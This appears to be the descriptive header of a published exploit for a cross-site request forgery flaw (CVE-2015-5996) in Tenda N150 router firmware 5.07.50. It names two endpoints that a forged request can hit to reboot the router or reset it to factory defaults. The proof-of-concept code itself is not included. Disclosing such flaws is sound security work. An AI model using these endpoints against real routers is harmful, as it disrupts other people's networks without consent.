# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)
# Date: 2018-07-21
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2015-5996
#
# Description:
#
# The router is vulnerable to a cross-site request forgery attacker.
# If an administrator is currently logged in and visits a
# remote webpage containing forms existing in the router's firmware,
# a request can be forged to modify existing settings or even
# set the router to its default state.
#
# These are two examples that can work in the proof of concept:
# /goform/SysToolReboot - Reboot the router
# /goform/SysToolRestoreSet - Set the router to default settings
#
# Reference: https://www.kb.cert.org/vuls/id/630872
